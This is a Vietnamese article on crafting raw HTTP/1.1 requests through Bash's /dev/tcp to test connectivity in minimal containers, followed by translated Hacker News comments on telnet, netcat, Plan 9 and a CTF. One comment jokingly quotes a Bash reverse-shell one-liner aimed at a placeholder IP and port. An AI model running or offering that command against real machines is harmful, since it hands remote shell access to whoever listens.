- Trong các image container tối giản thường thiếu curl hoặc wget, nên một cách vòng để kiểm tra khả năng kết nối tới dịch vụ nội bộ mà không cần cài thêm gói là rất hữu ích
- Chuyển hướng
/dev/tcp/host/port của Bash có thể mở socket TCP, vì vậy có thể tự ghi chuỗi yêu cầu HTTP/1.1 và đọc phản hồi
/dev/tcp không phải là đường dẫn trong hệ thống tệp mà là tính năng nội bộ của Bash, nên ls /dev/tcp hoặc cách truy cập tệp thông thường từ shell khác sẽ không hoạt động
- Đây là kỹ thuật gỡ lỗi đơn giản không xử lý redirect, phản hồi chunked, nén, retry hay TLS, và nếu không có
Connection: close thì cat có thể sẽ chờ
- Với các tác vụ HTTP hằng ngày thì nên dùng curl, nhưng trong container nhỏ nơi khó bổ sung công cụ thì cách này đủ để kiểm tra kết nối nhanh
Tạo yêu cầu HTTP bằng file descriptor của Bash
- Cần kiểm tra xem có thể truy cập endpoint
/health của dịch vụ khác trong mạng Docker nội bộ hay không, nhưng image lại không có curl hoặc wget
- Bash có thể gắn socket TCP vào file descriptor, nên có thể tự viết và gửi yêu cầu HTTP như sau
exec 3<>/dev/tcp/service/8642
printf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3
cat <&3
service phải là hostname có thể được phân giải và truy cập từ nơi đang chạy
- Có thể là tên container hoặc tên service được cấu hình trong mạng Docker
- Cũng có thể dùng tên DNS có thể phân giải được
- Cần thay host và port cho phù hợp với môi trường
- Kết quả phản hồi sẽ bao gồm dòng trạng thái, header, một dòng trống và phần thân
- Nếu muốn thêm header, chỉ cần thêm các dòng kết thúc bằng
\r\n trước dòng trống kết thúc yêu cầu
exec 3<>/dev/tcp/service/8642
printf 'GET /v1/models HTTP/1.1\r\nHost: service\r\nAuthorization: Bearer %s\r\nConnection: close\r\n\r\n' "$API_KEY" >&3
cat <&3
Vì sao /dev/tcp không phải là tệp thật
/dev/tcp không phải là file thiết bị thật mà là chuyển hướng do Bash xử lý
- Không có đường dẫn đó trên đĩa nên
ls /dev/tcp sẽ thất bại
- Chạy
cat /dev/tcp/... trong shell khác cũng sẽ báo lỗi
- Theo Bash manual, với
/dev/tcp/host/port, nếu host là hostname hợp lệ hoặc địa chỉ Internet và port là số cổng nguyên hoặc tên dịch vụ thì Bash sẽ thử mở socket TCP
- Bash sẽ thực hiện tra cứu DNS và
connect(2), còn exec 3<> sẽ gắn socket vào file descriptor 3 để có thể đọc và ghi
Không phải bản thay thế cho HTTP client mà là công cụ kiểm tra tạm thời
- Cách này không phải HTTP client thực thụ nên không xử lý redirect, phản hồi chunked, nén, retry, TLS, v.v.
- Header
Connection: close là rất quan trọng
- Nếu thiếu, server có thể giữ kết nối theo mặc định của HTTP/1.1
- Khi đó
cat <&3 có thể chờ EOF và không kết thúc
- Có thể bọc bằng
timeout 6 bash -c '...' để đề phòng trường hợp kết nối không đóng
/dev/tcp mở raw socket nên chỉ áp dụng cho HTTP thuần văn bản; với https thì cần openssl s_client
- Đây không phải tính năng POSIX mà là tính năng của Bash, nên không dùng được trong
dash là /bin/sh của Debian hay trong zsh; cần gọi trực tiếp bash
- Đây là tùy chọn lúc biên dịch, được bật bằng
--enable-net-redirections khi build Bash
- Tóm lại, đây không phải công cụ chung để thay thế curl, mà phù hợp để kiểm tra kết nối nhanh trong container nhỏ nơi không thể cài thêm gì
1 bình luận
Ý kiến trên Hacker News
Hồi còn nhỏ vào cuối những năm 90, tôi đã bị sốc khi biết rằng có thể kết nối bằng
telnettới cổng 80, 25, 110 và trò chuyện trực tiếp với máy chủCó thể tự gõ một yêu cầu
GET / HTTP/1.1đơn giản, hoặc gửi mail ở cổng 25 bằngHELO,mail-from,mail-to, rồi dùng POP3 để lấy danh sách hộp thư và từng thư riêng lẻTrải nghiệm đó là khởi đầu cho nhận ra rằng “không có phép thuật nào cả”, và rằng mọi phần của máy tính đều do con người tạo ra, nếu cố gắng thì có thể hiểu được đến một mức nào đó
Trong tương lai, có lẽ phần lớn sẽ được giao cho các agent, nhưng với những ai muốn học cách hệ thống thực sự vận hành mà không qua bộ lọc của mô hình và các lớp an toàn, vẫn sẽ còn những khe hở thú vị trong nhiều hệ thống
jacques.chirac@elysee.frđể trông giống hacker trước mặt bạn bèĐó là một cấu trúc chất đầy các chữ viết tắt được chồng lên nhiều cách để tạo, gửi và đọc các tệp văn bản có cấu trúc
Có ngày tôi nhận ra ngay cả cơ sở dữ liệu cũng là tệp văn bản, và phải ngồi lặng đi một lúc
telnetriêng tới POP3 và SMTP để xử lýTLS cũng không làm được bằng
telnet, và nhiều máy chủ chỉ trả về redirect cho các yêu cầu HTTPDùng
openssl s_clientthay chotelnetthì có thể tunnel văn bản bên trong TLS, nhưng cảm giác hơi giống mẹo láchCũng đáng tiếc là nhiều giao thức hiện đại thích mã hóa nhị phân nên khó nghịch ở mức line nếu không có công cụ chuyên dụng
Dù vậy, có lẽ tương lai vẫn sẽ có người đào sâu những thứ này; các kỹ thuật cũ như nhóm lửa bằng que hay nung gạch đất sét vẫn vui và đôi khi còn hữu ích thật
Thậm chí nhờ AI mà việc thử nghiệm còn dễ hơn, không cần lục RFC mà có thể hỏi LLM để học chẳng hạn như phần lớn các lệnh IMAP thông dụng
zshcó các mô-đunzsh/net/tcpvàzsh/zftpriêng, tách biệt với/dev/tcpcủa Bashhttps://zsh.sourceforge.io/Doc/Release/TCP-Function-System.h...
https://zsh.sourceforge.io/Doc/Release/Zsh-Modules.html#The-...
https://zsh.sourceforge.io/Doc/Release/Zftp-Function-System....
Plan 9 có
/net, một hệ thống tệp tổng hợp thực thụ, nên từ bất kỳ chương trình nào cũng có thể làm những việc này và hơn thế nữaBạn còn có thể mount
/netcủa máy khác qua giao thức 9P để dùng như một VPN tức thời, và có thể thử nghiệm trên Linux bằng 9frontTrong thư viện Go cũng có thể thấy dấu vết của
/netkiểu Plan 9, có lẽ là di sản của Rob PikeHoạt động tốt với
example.comMở bằng
exec 3<>/dev/tcp/example.com/80, gửiprintf 'GET / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' >&3, rồi chạycat <&3thì sẽ nhận đượcHTTP/1.1 200 OKDạo này có quá ít tên miền không ép HTTPS, nên khi thử mấy thứ này rốt cuộc lại quay về example.com
example.comcũng rất hữu íchVào http://example.com trên trình duyệt sẽ bị chuyển hướng lại tới trang captive portal để có thể hoàn tất lại quy trình truy cập Internet
printfcũng vẫn chạy\rthì đúng ra phải có, nhưng bỏ đi vẫn hoạt độngCó thể đùa rằng để nói chuyện với máy tính của bạn bè thì ai cũng dùng
bash -i >& /dev/tcp/IP/PORT 0>&1Không phải Bash tự nói được HTTP, mà là cho phép mở socket TCP
Việc ở đây là tự mình nói HTTP trực tiếp; để test hay debug thì ổn và tự tay làm cũng khá thú vị, nhưng nếu dùng kiểu client HTTP giả này trong môi trường tự động thực tế thì rất dễ tự hại mình
Đoạn mã đồ chơi này có thể hỏng vì không parse HTTP đúng cách
Tất nhiên cũng có thể viết một client HTTP/1.1 hoàn chỉnh bằng Bash, và cũng có thể làm một máy chủ HTTP thuần Bash: https://github.com/bahamas10/bash-web-server
Lựa chọn bớt điên rồ hơn thường là
nc, và đa số trường hợp đó là phương án khôn ngoan hơnBash không thể listen socket TCP/UDP để nhận kết nối đến
Dự án
bash-web-serverbuild một socket listener viết bằng C, rồi dynamic load lúc runtime như một mô-đun “tích hợp sẵn” để cung cấp chức năng đó[0] https://github.com/bahamas10/bash-web-server/tree/main/loada...
nchay các công cụ cùng họ netcat tương tự sẽ là lựa chọn tốt hơn, nhưng image tôi dùng lúc đó không có những công cụ đóTôi đã gõ HTTP request bằng tay từ trước cả khi HTTP/1.1 và header
Hostbắt buộc xuất hiệnDùng cho mục đích nghiêm túc thì là hành động điên rồ, và việc triển khai web server bằng Bash cũng vậy, nhưng để test nhanh thì khá ổn
https://sdomi.pl/weblog/15-witchcraft-minecraft-server-in-ba...
Tôi biết đến cách này khi thấy đội Bauhinia dùng nó để giải bài CTF
Đó là một bài CTF nhiều bước; ban đầu họ lấy được shell
systembằng chuỗi ROP, nhưng thực tế đó là một môi trường kiểu nhà tù gần như không chạy được gì ngoài BashChỉ dùng được
readvàcat, nên họ dùngcat /dev/tcp, rồi redirect nó sang terminal ảo, đọc nội dung từ đó để lấy URL hệ thống nội bộ và tìm ra flagKhi kiểm tra kết nối giữa các container trong mạng Docker nội bộ, tôi phát hiện ra cách này vì image không có cả
curllẫnwgetĐiều làm tôi ngạc nhiên là Bash có
/dev/tcp, nên với một chút phép thuật shell có thể tạo ra thứ gì đó gần giống HTTP requestVí dụ có thể mở bằng
exec 3<>/dev/tcp/service/8642, gửiprintf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3, rồicat <&3là đượcỞ đây
servicelà hostname đích kết nối, còn8642là cổng mà bạn muốn thử nói chuyện bằng HTTPTôi không nghĩ ra nhược điểm nào, và xem đó gần như là thứ thiết yếu ngay cả với image production
Trước đây trên Debian và các bản phân phối phái sinh từ Debian, tính năng này không hoạt động vì truy cập TCP qua file ảo bị tắt mặc định
Theo tôi hiểu thì đến năm 2009 quan điểm đã thay đổi và tính năng này được bật; Bug #146464 có thảo luận và các liên kết liên quan
<https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=146464#37>
Ngoài ra còn nhiều cách khác để truy cập trực tiếp chức năng mạng bằng công cụ shell, như
curl,wget, các lệnhHEADvàGETcủa Perl,netcat/nc,socat,telnet, v.v.Tôi còn nhớ hồi tuổi teen từng dùng
echogửi những thông điệp rùng rợn vào/dev/pttycủa người khác để dọa họTin nhắn tôi gửi hiện ra như phép màu trên terminal đang mở của họ
Đến giờ tôi vẫn không hiểu vì sao trong phòng máy người ta lại để mỗi client dùng một tài khoản khác nhau mà không khóa lại, có khi đó là giới hạn của VAX thời ấy